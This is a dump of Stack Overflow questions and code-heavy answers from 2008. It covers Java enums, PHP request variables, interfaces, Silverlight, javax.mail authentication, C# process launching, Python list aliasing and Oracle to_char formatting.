<p>Given the following java enum:</p> <pre><code>public enum AgeRange { A18TO23 { public String toString() { return "18 - 23"; } }, A24TO29 { public String toString() { return "24 - 29"; } }, A30TO35 { public String toString() { return "30 - 35"; } }, } </code></pre> <p>Is there any way to convert a string value of "18 - 23" to the corresponding enum value i.e. AgeRange.A18TO23 ?</p> <p>Thanks!</p>
[ { "answer_id": 240148, "author": "John M", "author_id": 20734, "author_profile": "https://Stackoverflow.com/users/20734", "pm_score": 2, "selected": false, "text": "for (AgeRange ar: EnumSet.allOf(AgeRange)) {\n if (ar.toString().equals(inString)) {\n myAnswer = ar;\n break;\n }\n}\n" }, { "answer_id": 240165, "author": "Ken Gentle", "author_id": 8709, "author_profile": "https://Stackoverflow.com/users/8709", "pm_score": 2, "selected": false, "text": "valueOf() toString() public enum AgeRange {\n\n A18TO23 {\n public String toString() { \n return \"18 - 23\";\n }\n public AgeRange valueOf (Class enumClass, String name) {\n return A18T023\n }\n },\n\n .\n .\n .\n}\n toString() valueOf()" }, { "answer_id": 240175, "author": "sakana", "author_id": 28921, "author_profile": "https://Stackoverflow.com/users/28921", "pm_score": 6, "selected": true, "text": "public enum AgeRange {\n A18TO23 (\"18-23\"),\n A24TO29 (\"24-29\"),\n A30TO35(\"30-35\");\n\n private String value;\n\n AgeRange(String value){\n this.value = value;\n }\n\n public String toString(){\n return value;\n }\n\n public static AgeRange getByValue(String value){\n for (final AgeRange element : EnumSet.allOf(AgeRange.class)) {\n if (element.toString().equals(value)) {\n return element;\n }\n }\n return null;\n }\n}\n getByValue() String" }, { "answer_id": 240214, "author": "toolkit", "author_id": 3295, "author_profile": "https://Stackoverflow.com/users/3295", "pm_score": 0, "selected": false, "text": "static AgeRange fromString(String range) {\n for (AgeRange ageRange : values()) {\n if (range.equals(ageRange.toString())) {\n return ageRange;\n }\n }\n return null; \n}\n private static Map<String, AgeRange> map;\n\nprivate static synchronized void registerAgeRange(AgeRange ageRange) {\n if (map == null) {\n map = new HashMap<String, AgeRange>();\n }\n map.put(ageRange.toString(), ageRange);\n}\n\nAgeRange() {\n registerAgeRange(this);\n}\n\nstatic AgeRange fromString(String range) {\n return map.get(range);\n}\n" }, { "answer_id": 9781903, "author": "wsu_cic", "author_id": 1280111, "author_profile": "https://Stackoverflow.com/users/1280111", "pm_score": 2, "selected": false, "text": "public enum AgeRange {\n A18TO23(\"18-23\"),\n A24TO29(\"24-29\"),\n A30TO35(\"30-35\");\n\n private final String value;\n\n AgeRange(String value){\n this.value = value;\n }\n\n @Override public String toString(){\n return value;\n }\n\n private static final Map<String, AgeRange> stringToEnum =\n new HashMap<String, AgeRange>();\n\n static {\n for (AgeRange r : values()) {\n stringToEnum.put(r.toString(), r);\n }\n }\n\n public static AgeRange getByValue(String value){\n return stringToEnum.get(value);\n }\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240122", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27163/" ]
240,125
<p>I have a form a user can enter their name, then it will add it to $message to be sent in an email.</p> <p>Is it better to use <code>$_POST</code> or <code>$_REQUEST</code>?</p> <p>Here is a snippet of using <code>$_REQUEST</code></p> <pre><code>$message.= "Name: ".$_REQUEST["fname"]." ".$_REQUEST["mname"]." ".$_REQUEST["lname"]."\n"; </code></pre>
[ { "answer_id": 240150, "author": "Michael Madsen", "author_id": 27528, "author_profile": "https://Stackoverflow.com/users/27528", "pm_score": 4, "selected": true, "text": "$_POST $_REQUEST $_POST" }, { "answer_id": 240256, "author": "Graeme Perrow", "author_id": 1821, "author_profile": "https://Stackoverflow.com/users/1821", "pm_score": 1, "selected": false, "text": "$_POST $_REQUEST $_POST" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240125", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26130/" ]
240,152
<p>I understand that they force you to implement methods and such but what I cant understand is why you would want to use them. Can anybody give me a good example or explanation on why I would want to implement this.</p>
[ { "answer_id": 240160, "author": "Eric Z Beard", "author_id": 1219, "author_profile": "https://Stackoverflow.com/users/1219", "pm_score": 2, "selected": false, "text": "void MoveAVehicle(IVehicle vehicle)\n{\n vehicle.Move();\n}\n" }, { "answer_id": 240172, "author": "Stewart Johnson", "author_id": 6408, "author_profile": "https://Stackoverflow.com/users/6408", "pm_score": 6, "selected": false, "text": "IComparable" }, { "answer_id": 240183, "author": "Jorge Córdoba", "author_id": 2695, "author_profile": "https://Stackoverflow.com/users/2695", "pm_score": 3, "selected": false, "text": "interface IComparable\n{\n // Return -1 if this is less than CompareWith\n // Return 0 if object are equal\n // Return 1 if CompareWith is less than this\n int Compare(object CompareWith);\n}\n IComparable comp1 = list.GetItem(i) as IComparable;\n\nif (comp1.Compare(list.GetItem(i+1)) < 0)\n swapItem(list,i, i+1)\n" }, { "answer_id": 240253, "author": "JamShady", "author_id": 11905, "author_profile": "https://Stackoverflow.com/users/11905", "pm_score": 2, "selected": false, "text": "interface Storable {\n function create($data);\n function read($id);\n function update($data, $id);\n function delete($id);\n}\n class Logger {\n Storable storage;\n\n function Logger(Storable storage) {\n this.storage = storage;\n }\n\n function writeLogEntry() {\n this.storage.create(\"I am a log entry\");\n }\n}\n" }, { "answer_id": 240367, "author": "justin.m.chase", "author_id": 12958, "author_profile": "https://Stackoverflow.com/users/12958", "pm_score": 1, "selected": false, "text": "public interface IExample\n{\n void Foo();\n}\n\npublic class Example : IExample\n{\n // explicit implementation syntax\n void IExample.Foo() { ... }\n}\n\n/* Usage */\nExample e = new Example();\n\ne.Foo(); // error, Foo does not exist\n\n((IExample)e).Foo(); // success\n" }, { "answer_id": 9495634, "author": "Despertar", "author_id": 1160036, "author_profile": "https://Stackoverflow.com/users/1160036", "pm_score": 4, "selected": false, "text": "IDbConnection connection = GetDatabaseConnectionFromConfig()\nconnection.Open()\n// do stuff\nconnection.Close()\n var animals = new IAnimal[] = {new Bear(), new Owl(), new Snake()} // here I can collect different objects in a single collection because they inherit from the same interface\n\nforeach (IAnimal animal in animals) \n{\n Console.WriteLine(animal.Name)\n animal.Speak() // a bear growls, a owl hoots, and a snake hisses\n animal.Move() // bear runs, owl flys, snake slithers\n}\n" }, { "answer_id": 9495697, "author": "Lev", "author_id": 1187022, "author_profile": "https://Stackoverflow.com/users/1187022", "pm_score": 3, "selected": false, "text": "When you need different classes to share same methods you use Interfaces.\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240152", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23661/" ]
240,156
<p>In a Silverlight application I'm trying to find out when a property on a usercontrol has changed. I'm interested in one particular DependencyProperty, but unfortunately the control itself doesn't implement INotifyPropertyChanged.</p> <p>Is there any other way of determining if the value has changed?</p>
[ { "answer_id": 1835057, "author": "amazedsaint", "author_id": 45956, "author_profile": "https://Stackoverflow.com/users/45956", "pm_score": 3, "selected": false, "text": " /// Listen for change of the dependency property\n public void RegisterForNotification(string propertyName, FrameworkElement element, PropertyChangedCallback callback)\n {\n\n //Bind to a depedency property\n Binding b = new Binding(propertyName) { Source = element };\n var prop = System.Windows.DependencyProperty.RegisterAttached(\n \"ListenAttached\"+propertyName,\n typeof(object),\n typeof(UserControl),\n new System.Windows.PropertyMetadata(callback));\n\n element.SetBinding(prop, b);\n }\n RegisterForNotification(\"Text\", this.txtMain,(d,e)=>MessageBox.Show(\"Text changed\"));\n RegisterForNotification(\"Value\", this.sliderMain, (d, e) => MessageBox.Show(\"Value changed\"));\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240156", "https://Stackoverflow.com", "https://Stackoverflow.com/users/986/" ]
240,163
<p>I am trying to upload files using the FileReference class. Files >2MB all work correctly but files &lt;2MB cause this error:</p> <blockquote> <p>"java.io.IOException: Corrupt form data: premature ending"</p> </blockquote> <p>On the server I am using the com.oreilly.servlet package to handle the request.</p> <p>I have used this package many times to successfully handle file uploads from flex, but for some reason, now I am having this problem.</p> <p>Here is the stack trace for some more info:</p> <pre><code>java.io.IOException: Corrupt form data: premature ending at com.oreilly.servlet.multipart.MultipartParser.&lt;init&gt;(MultipartParser.java:205) at com.oreilly.servlet.MultipartRequest.&lt;init&gt;(MultipartRequest.java:222) at com.oreilly.servlet.MultipartRequest.&lt;init&gt;(MultipartRequest.java:173) at com.mydomain.FileUploadServlet.doPost(FileUploadServlet.java:46) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:269) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) at org.apache.struts2.dispatcher.ActionContextCleanUp.doFilter(ActionContextCleanUp.java:99) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:215) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) at org.apache.struts2.dispatcher.FilterDispatcher.doFilter(FilterDispatcher.java:414) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:215) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) </code></pre>
[ { "answer_id": 1835057, "author": "amazedsaint", "author_id": 45956, "author_profile": "https://Stackoverflow.com/users/45956", "pm_score": 3, "selected": false, "text": " /// Listen for change of the dependency property\n public void RegisterForNotification(string propertyName, FrameworkElement element, PropertyChangedCallback callback)\n {\n\n //Bind to a depedency property\n Binding b = new Binding(propertyName) { Source = element };\n var prop = System.Windows.DependencyProperty.RegisterAttached(\n \"ListenAttached\"+propertyName,\n typeof(object),\n typeof(UserControl),\n new System.Windows.PropertyMetadata(callback));\n\n element.SetBinding(prop, b);\n }\n RegisterForNotification(\"Text\", this.txtMain,(d,e)=>MessageBox.Show(\"Text changed\"));\n RegisterForNotification(\"Value\", this.sliderMain, (d, e) => MessageBox.Show(\"Value changed\"));\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240163", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22/" ]
240,166
<p>I'm using the javax.mail system, and having problems with "Invalid Address" exceptions. Here's the basics of the code:</p> <pre><code> // Get system properties Properties props = System.getProperties(); // Setup mail server props.put("mail.smtp.host", m_sending_host); // Get session Session session = Session.getDefaultInstance(props, new Authenticator(){ @Override protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(m_sending_user, m_sending_pass); } }); // Define message MimeMessage message = new MimeMessage(session); message.setFrom(new InternetAddress(m_sending_from)); message.addRecipient(Message.RecipientType.TO, new InternetAddress(vcea.get(i).emailaddr)); message.setSubject( replaceEnvVars(subject) ); message.setText(replaceEnvVars(body)); // Send message try { Transport.send(message); } catch (Exception e){ Log.Error("Error sending e-mail to addr (%s): %s", vcea.get(i).emailaddr, e.getLocalizedMessage() ); } </code></pre> <p>The issue is that the above code does work, sometimes. But for some e-mail addresses that I know to be valid (because I can send to them via a standard e-mail client), the above code will throw an "Invalid Address" exception when trying to send.</p> <p>Any clues or hints would be greatly appreciated.</p> <p>--Update: problem with authentication.</p> <p>Ok, here's what I've discovered was going on. When receiving e-mail, the code above correctly sets up authentication and the Authenticator.getPasswordAuthentication() callback is actually invoked.</p> <p>Not so when sending e-mail. You have to do a bit more. Add this:</p> <pre><code> // Setup mail server props.put("mail.smtp.host", m_sending_host); props.put("mail.smtp.auth", "true"); </code></pre> <p>which will force the javax.mail API to do the login authentication. And then use an actual Transport instance instead of the static .send() method:</p> <pre><code> Transport t = session.getTransport(m_sending_protocol); t.connect(m_sending_user, m_sending_pass); </code></pre> <p>...</p> <pre><code> // Send message try { t.sendMessage(message, message.getAllRecipients()); } catch (Exception e){ </code></pre> <p>Without forcing the authentication, the mail server saw me as an unauthorized relay, and just shut me down. The difference between the addresses that "worked" and the addresses that didn't was that the ones that "worked" were all local to the mail server. Therefore, it simply accepted them. But for any non-local "relay" addresses, it would reject the message because my authentication information hadn't been presented by the javax.mail API when I thought it would have.</p> <p>Thanks for the clues to prompt me to look at the mail server side of things as well.</p>
[ { "answer_id": 240208, "author": "Agusti-N", "author_id": 24639, "author_profile": "https://Stackoverflow.com/users/24639", "pm_score": 0, "selected": false, "text": "String to=\"stackoverflow@so.com\";\nString cc=\"one@mail.com,two@mail.com\"; //The separator ',' works good\n\nmessage.setRecipients(Message.RecipientType.TO,new InternetAddress[] { \nnew InternetAddress(to) }); // This is only one mail\n\nInternetAddress[] addr = parseAddressList(cc); //Here add all the rest of the mails\nmessage.setRecipients(Message.RecipientType.CC,addr);\n" }, { "answer_id": 240298, "author": "Alex B", "author_id": 6180, "author_profile": "https://Stackoverflow.com/users/6180", "pm_score": 2, "selected": false, "text": "message.addRecipient(Message.RecipientType.TO, \n new InternetAddress(vcea.get(i).emailaddr, true ));\n// ^^^^ turns on strict interpretation\n AddressException getPos()" }, { "answer_id": 240462, "author": "Steven M. Cherry", "author_id": 24193, "author_profile": "https://Stackoverflow.com/users/24193", "pm_score": 4, "selected": true, "text": "// Setup mail server\nprops.put(\"mail.smtp.host\", m_sending_host);\nprops.put(\"mail.smtp.auth\", \"true\");\n Transport t = session.getTransport(m_sending_protocol);\nt.connect(m_sending_user, m_sending_pass);\n // Send message\n try {\n t.sendMessage(message, message.getAllRecipients());\n } catch (Exception e){\n" }, { "answer_id": 6871251, "author": "Alex Cheptsov", "author_id": 869099, "author_profile": "https://Stackoverflow.com/users/869099", "pm_score": 0, "selected": false, "text": "mail.smtp.ssl.enable props.put(\"mail.smtp.ssl.enable\", \"true\");\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240166", "https://Stackoverflow.com", "https://Stackoverflow.com/users/24193/" ]
240,171
<p>How can I launch an application using C#?</p> <p>Requirements: Must work on <a href="http://en.wikipedia.org/wiki/Windows_XP" rel="noreferrer">Windows&nbsp;XP</a> and <a href="http://en.wikipedia.org/wiki/Windows_Vista" rel="noreferrer">Windows&nbsp;Vista</a>.</p> <p>I have seen a sample from DinnerNow.net sampler that only works in Windows&nbsp;Vista.</p>
[ { "answer_id": 240189, "author": "Mark S. Rasmussen", "author_id": 12469, "author_profile": "https://Stackoverflow.com/users/12469", "pm_score": 6, "selected": false, "text": "System.Diagnostics.Process.Start(\"PathToExe.exe\");\n" }, { "answer_id": 240191, "author": "Igal Tabachnik", "author_id": 8205, "author_profile": "https://Stackoverflow.com/users/8205", "pm_score": 9, "selected": true, "text": "System.Diagnostics.Process.Start() Process.Start(\"notepad\", \"readme.txt\");\n\nstring winpath = Environment.GetEnvironmentVariable(\"windir\");\nstring path = System.IO.Path.GetDirectoryName(\n System.Windows.Forms.Application.ExecutablePath);\n\nProcess.Start(winpath + @\"\\Microsoft.NET\\Framework\\v1.0.3705\\Installutil.exe\",\npath + \"\\\\MyService.exe\");\n" }, { "answer_id": 240610, "author": "sfuqua", "author_id": 30384, "author_profile": "https://Stackoverflow.com/users/30384", "pm_score": 8, "selected": false, "text": "using System.Diagnostics;\n\n// Prepare the process to run\nProcessStartInfo start = new ProcessStartInfo();\n// Enter in the command line arguments, everything you would enter after the executable name itself\nstart.Arguments = arguments; \n// Enter the executable to run, including the complete path\nstart.FileName = ExeName;\n// Do you want to show a console window?\nstart.WindowStyle = ProcessWindowStyle.Hidden;\nstart.CreateNoWindow = true;\nint exitCode;\n\n\n// Run the external process & wait for it to finish\nusing (Process proc = Process.Start(start))\n{\n proc.WaitForExit();\n\n // Retrieve the app's exit code\n exitCode = proc.ExitCode;\n}\n" }, { "answer_id": 1558487, "author": "Adam Kane", "author_id": 90837, "author_profile": "https://Stackoverflow.com/users/90837", "pm_score": 5, "selected": false, "text": "System.Diagnostics.Process.Start( @\"C:\\Windows\\System32\\Notepad.exe\" );\n" }, { "answer_id": 24025158, "author": "NDB", "author_id": 3704760, "author_profile": "https://Stackoverflow.com/users/3704760", "pm_score": 4, "selected": false, "text": "using System.Diagnostics;\n\nProcess notePad = new Process();\nnotePad.StartInfo.FileName = \"notepad.exe\";\nnotePad.StartInfo.Arguments = \"mytextfile.txt\";\nnotePad.Start();\n" }, { "answer_id": 32240290, "author": "Deadlock", "author_id": 2915792, "author_profile": "https://Stackoverflow.com/users/2915792", "pm_score": 2, "selected": false, "text": "using System.Diagnostics;\nclass Program\n{\n static void Main()\n {\n //\n // your code\n //\n Process.Start(\"C:\\\\process.exe\");\n }\n} \n" }, { "answer_id": 36636828, "author": "Amin Mohamed", "author_id": 6206889, "author_profile": "https://Stackoverflow.com/users/6206889", "pm_score": 3, "selected": false, "text": "Process.Start(\"File.exe\");\n" }, { "answer_id": 37685792, "author": "user6436606", "author_id": 6436606, "author_profile": "https://Stackoverflow.com/users/6436606", "pm_score": 1, "selected": false, "text": "Process.Start(\"Location Of File.exe\");\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5147/" ]
240,178
<p>I created a list of lists:</p> <pre><code>xs = [[1] * 4] * 3 # xs == [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]] </code></pre> <p>Then, I changed one of the innermost values:</p> <pre><code>xs[0][0] = 5 # xs == [[5, 1, 1, 1], [5, 1, 1, 1], [5, 1, 1, 1]] </code></pre> <p>Why did every first element of each sublist change to <code>5</code>?</p>
[ { "answer_id": 240202, "author": "Blair Conrad", "author_id": 1199, "author_profile": "https://Stackoverflow.com/users/1199", "pm_score": 6, "selected": false, "text": "[[1] * 4] * 3\n [[1, 1, 1, 1]] * 3\n [1,1,1,1] >>> inner = [1,1,1,1]\n>>> outer = [inner]*3\n>>> outer\n[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]\n>>> inner[0] = 5\n>>> outer\n[[5, 1, 1, 1], [5, 1, 1, 1], [5, 1, 1, 1]]\n" }, { "answer_id": 240205, "author": "CAdaker", "author_id": 30579, "author_profile": "https://Stackoverflow.com/users/30579", "pm_score": 11, "selected": true, "text": "[x]*3 [x, x, x] x x x = [1] * 4\nxs = [x] * 3\nprint(f\"id(x): {id(x)}\")\n# id(x): 140560897920048\nprint(\n f\"id(xs[0]): {id(xs[0])}\\n\"\n f\"id(xs[1]): {id(xs[1])}\\n\"\n f\"id(xs[2]): {id(xs[2])}\"\n)\n# id(xs[0]): 140560897920048\n# id(xs[1]): 140560897920048\n# id(xs[2]): 140560897920048\n\nx[0] = 42\nprint(f\"x: {x}\")\n# x: [42, 1, 1, 1]\nprint(f\"xs: {xs}\")\n# xs: [[42, 1, 1, 1], [42, 1, 1, 1], [42, 1, 1, 1]]\n [[1]*4 for _ in range(3)]\n [1]*4 * * * [[1] * 4] * [[1] * 4] [[1] * 4 * [[1] * 4] * [[1] * 4 for n in range(3)] [1] * 4 [x**2 for x in range(3)] x**2 [1] * 4 [1] * 4 [1] 1.value = 2" }, { "answer_id": 240215, "author": "PierreBdR", "author_id": 7136, "author_profile": "https://Stackoverflow.com/users/7136", "pm_score": 6, "selected": false, "text": "lst = [[1] * 4] * 3\n lst1 = [1]*4\nlst = [lst1]*3\n lst lst1 lst[0][0] = 5\nlst1[0] = 5\n lst[0] lst1 lst = [ [1]*4 for n in range(3) ]\n n" }, { "answer_id": 18454568, "author": "nadrimajstor", "author_id": 1952047, "author_profile": "https://Stackoverflow.com/users/1952047", "pm_score": 7, "selected": false, "text": "size = 3\nmatrix_surprise = [[0] * size] * size\nmatrix = [[0]*size for _ in range(size)]\n" }, { "answer_id": 30759580, "author": "bagrat", "author_id": 3264192, "author_profile": "https://Stackoverflow.com/users/3264192", "pm_score": 3, "selected": false, "text": "x = 1\ny = [x]\nz = y * 4\n\nmy_list = [z] * 3\n id print(\"my_list:\")\nfor i, sub_list in enumerate(my_list):\n print(\"\\t[{}]: {}\".format(i, id(sub_list)))\n for j, elem in enumerate(sub_list):\n print(\"\\t\\t[{}]: {}\".format(j, id(elem)))\n x: 1\ny: [1]\nz: [1, 1, 1, 1]\nmy_list:\n [0]: 4300763792\n [0]: 4298171528\n [1]: 4298171528\n [2]: 4298171528\n [3]: 4298171528\n [1]: 4300763792\n [0]: 4298171528\n [1]: 4298171528\n [2]: 4298171528\n [3]: 4298171528\n [2]: 4300763792\n [0]: 4298171528\n [1]: 4298171528\n [2]: 4298171528\n [3]: 4298171528\n x 1 y x y * 4 z [x, x, x, x] x z * 3 [[x, x, x, x]] * 3 [[x, x, x, x], [x, x, x, x], [x, x, x, x]]" }, { "answer_id": 30898048, "author": "Mazdak", "author_id": 2867928, "author_profile": "https://Stackoverflow.com/users/2867928", "pm_score": 3, "selected": false, "text": "[[1]*4 for _ in range(3)]\n itertools.repeat() >>> a = list(repeat(1,4))\n[1, 1, 1, 1]\n>>> a[0] = 5\n>>> a\n[5, 1, 1, 1]\n np.ones np.zeros np.repeat >>> import numpy as np\n>>> np.ones(4)\narray([1., 1., 1., 1.])\n>>> np.ones((4, 2))\narray([[1., 1.],\n [1., 1.],\n [1., 1.],\n [1., 1.]])\n>>> np.zeros((4, 2))\narray([[0., 0.],\n [0., 0.],\n [0., 0.],\n [0., 0.]])\n>>> np.repeat([7], 10)\narray([7, 7, 7, 7, 7, 7, 7, 7, 7, 7])\n" }, { "answer_id": 36452923, "author": "Zbyněk Winkler", "author_id": 3185929, "author_profile": "https://Stackoverflow.com/users/3185929", "pm_score": 3, "selected": false, "text": ">>> a = []\n>>> b = [a]\n>>> b\n[[]]\n>>> a.append(1)\n>>> b\n[[1]]\n b a a >>> c = b + b\n>>> c\n[[1], [1]]\n>>>\n>>> a[0] = 2\n>>> c\n[[2], [2]]\n c a c = b * 2" }, { "answer_id": 36823796, "author": "awulll", "author_id": 1428655, "author_profile": "https://Stackoverflow.com/users/1428655", "pm_score": 2, "selected": false, "text": "my_list = [[1 for i in range(4)] for j in range(3)]\n\nmy_list[0][0] = 5\nprint(my_list)\n [[5, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]\n" }, { "answer_id": 38397772, "author": "Anand Tripathi", "author_id": 5230702, "author_profile": "https://Stackoverflow.com/users/5230702", "pm_score": 2, "selected": false, "text": "a\nout:[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]\n#Displaying the list\n\na.remove(a[0])\nout:[[1, 1, 1, 1], [1, 1, 1, 1]]\n# Removed the first element of the list in which you want altered number\n\na.append([5,1,1,1])\nout:[[1, 1, 1, 1], [1, 1, 1, 1], [5, 1, 1, 1]]\n# append the element in the list but the appended element as you can see is appended in last but you want that in starting\n\na.reverse()\nout:[[5, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]\n#So at last reverse the whole list to get the desired list\n" }, { "answer_id": 38866487, "author": "Adil Abbasi", "author_id": 2285848, "author_profile": "https://Stackoverflow.com/users/2285848", "pm_score": 2, "selected": false, "text": "x = [[0, 0], [0, 0]]\nprint(type(x)) # <class 'list'>\nprint(x) # [[0, 0], [0, 0]]\n\nx[0][0] = 1\nprint(x) # [[1, 0], [0, 0]]\n y = [[0] * 2] * 2\nprint(type(y)) # <class 'list'>\nprint(y) # [[0, 0], [0, 0]]\n\ny[0][0] = 1\nprint(y) # [[1, 0], [1, 0]]\n [0] * 2 import copy\ny = [0] * 2 \nprint(y) # [0, 0]\n\ny = [y, copy.deepcopy(y)] \nprint(y) # [[0, 0], [0, 0]]\n\ny[0][0] = 1\nprint(y) # [[1, 0], [0, 0]]\n import copy\ny = [0] * 2\nprint(y) # [0, 0]\n\ny = [copy.deepcopy(y) for num in range(1,5)]\nprint(y) # [[0, 0], [0, 0], [0, 0], [0, 0]]\n\ny[0][0] = 5\nprint(y) # [[5, 0], [0, 0], [0, 0], [0, 0]]\n" }, { "answer_id": 43246520, "author": "jerrymouse", "author_id": 842837, "author_profile": "https://Stackoverflow.com/users/842837", "pm_score": 4, "selected": false, "text": "my_list = [[1]*4] * 3 [1,1,1,1] obj = [1,1,1,1]; my_list = [obj]*3 obj obj my_list = [[1]*4 for _ in range(3)]\n my_list = [[1 for __ in range(4)] for _ in range(3)]\n * 1 obj = [1]*4 1 [1,1,1,1] obj[1] = 42 obj [1,42,1,1] [42,42,42,42] >>> my_list = [1]*4\n>>> my_list\n[1, 1, 1, 1]\n\n>>> id(my_list[0])\n4522139440\n>>> id(my_list[1]) # Same as my_list[0]\n4522139440\n >>> my_list[1] = 42 # Since my_list[1] is immutable, this operation overwrites my_list[1] with a new object changing its id.\n>>> my_list\n[1, 42, 1, 1]\n\n>>> id(my_list[0])\n4522139440\n>>> id(my_list[1]) # id changed\n4522140752\n>>> id(my_list[2]) # id still same as my_list[0], still referring to value `1`.\n4522139440\n" }, { "answer_id": 57426328, "author": "ouxiaogu", "author_id": 1819824, "author_profile": "https://Stackoverflow.com/users/1819824", "pm_score": 2, "selected": false, "text": "*3 li = [0] * 3\nprint([id(v) for v in li]) # [140724141863728, 140724141863728, 140724141863728]\nli[0] = 1\nprint([id(v) for v in li]) # [140724141863760, 140724141863728, 140724141863728]\nprint(id(0)) # 140724141863728\nprint(id(1)) # 140724141863760\nprint(li) # [1, 0, 0]\n\nma = [[0]*3] * 3 # mainly discuss inner & outer *3 here\nprint([id(li) for li in ma]) # [1987013355080, 1987013355080, 1987013355080]\nma[0][0] = 1\nprint([id(li) for li in ma]) # [1987013355080, 1987013355080, 1987013355080]\nprint(ma) # [[1, 0, 0], [1, 0, 0], [1, 0, 0]]\n *3 [&0, &0, &0] li[0] 0 &1 ma = [&li, &li, &li] li ma[0][0] = 1 ma[0][0] &li[0] &li &1" }, { "answer_id": 62497944, "author": "Deepak Patankar", "author_id": 7003331, "author_profile": "https://Stackoverflow.com/users/7003331", "pm_score": 3, "selected": false, "text": "arr = [[0]*cols]*row\n rows, cols = (5, 5) \narr = [[0 for i in range(cols)] for j in range(rows)] \n arr = [0]*N \n arr = [0 for i in range(N)] \n arr[4] = 5" }, { "answer_id": 64489659, "author": "Brian", "author_id": 8126390, "author_profile": "https://Stackoverflow.com/users/8126390", "pm_score": 0, "selected": false, "text": "import copy\n\ndef list_ndim(dim, el=None, init=None):\n if init is None:\n init = el\n\n if len(dim)> 1:\n return list_ndim(dim[0:-1], None, [copy.copy(init) for x in range(dim[-1])])\n\n return [copy.deepcopy(init) for x in range(dim[0])]\n dim = (3,5,2)\nel = 1.0\nl = list_ndim(dim, el)\n (3,5,2) shape 1.0 init [[[1.0, 1.0], [1.0, 1.0], [1.0, 1.0], [1.0, 1.0], [1.0, 1.0]],\n [[1.0, 1.0], [1.0, 1.0], [1.0, 1.0], [1.0, 1.0], [1.0, 1.0]],\n [[1.0, 1.0], [1.0, 1.0], [1.0, 1.0], [1.0, 1.0], [1.0, 1.0]]]\n l[1][3][1] = 56\nl[2][2][0] = 36.0+0.0j\nl[0][1][0] = 'abc'\n [[[1.0, 1.0], ['abc', 1.0], [1.0, 1.0], [1.0, 1.0], [1.0, 1.0]],\n [[1.0, 1.0], [1.0, 1.0], [1.0, 1.0], [1.0, 56.0], [1.0, 1.0]],\n [[1.0, 1.0], [1.0, 1.0], [(36+0j), 1.0], [1.0, 1.0], [1.0, 1.0]]]\n" }, { "answer_id": 64958758, "author": "mishsx", "author_id": 7841468, "author_profile": "https://Stackoverflow.com/users/7841468", "pm_score": 0, "selected": false, "text": ">>> lists = [[]] * 3\n>>> lists\n[[], [], []]\n>>> lists[0].append(3)\n>>> lists\n[[3], [3], [3]]\n [[]] [[]] * 3 >>> A = [[None] * 2] * 3\n >>> A\n[[None, None], [None, None], [None, None]]\n >>> A[0][0] = 5\n>>> A\n[[5, None], [5, None], [5, None]]\n *" }, { "answer_id": 65616429, "author": "wwii", "author_id": 2823755, "author_profile": "https://Stackoverflow.com/users/2823755", "pm_score": 0, "selected": false, "text": "node_count = 4\ncolors = [0,1,2,3]\nsol_dict = {node:colors for node in range(0,node_count)}\n >>> sol_dict\n{0: [0, 1, 2, 3], 1: [0, 1, 2, 3], 2: [0, 1, 2, 3], 3: [0, 1, 2, 3]}\n>>> [v is colors for v in sol_dict.values()]\n[True, True, True, True]\n>>> sol_dict[0].remove(1)\n>>> sol_dict\n{0: [0, 2, 3], 1: [0, 2, 3], 2: [0, 2, 3], 3: [0, 2, 3]}\n >>> colors = [0,1,2,3]\n>>> sol_dict = {node:colors[:] for node in range(0,node_count)}\n>>> sol_dict\n{0: [0, 1, 2, 3], 1: [0, 1, 2, 3], 2: [0, 1, 2, 3], 3: [0, 1, 2, 3]}\n>>> sol_dict[0].remove(1)\n>>> sol_dict\n{0: [0, 2, 3], 1: [0, 1, 2, 3], 2: [0, 1, 2, 3], 3: [0, 1, 2, 3]}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240178", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11677/" ]
240,182
<p>Why is Oracle's <code>to_char()</code> function adding spaces?</p> <pre><code>select length('012'), length(to_char('012')), length(to_char('12', '000')) from dual; </code></pre> <p><code>3, 3, 4</code></p>
[ { "answer_id": 240206, "author": "Tony Andrews", "author_id": 18747, "author_profile": "https://Stackoverflow.com/users/18747", "pm_score": 7, "selected": false, "text": "SQL> select to_char(12,'FM000') from dual;\n\nTO_C\n----\n012\n" }, { "answer_id": 240216, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 5, "selected": false, "text": "select '['||to_char(12, '000')||']', \n '['||to_char(-12, '000')||']', \n '['||to_char(12,'FM000')||']' \nfrom dual\n\n\n[ 012] [-012] [012] \n" }, { "answer_id": 48288153, "author": "Jay Neumann", "author_id": 9225980, "author_profile": "https://Stackoverflow.com/users/9225980", "pm_score": 2, "selected": false, "text": "SELECT TO_CHAR(12345, 'fm99,999.00') FROM dual \n SELECT TO_CHAR(12345, 'fm99,999.99') FROM dual \n" } ]
2008/10/27
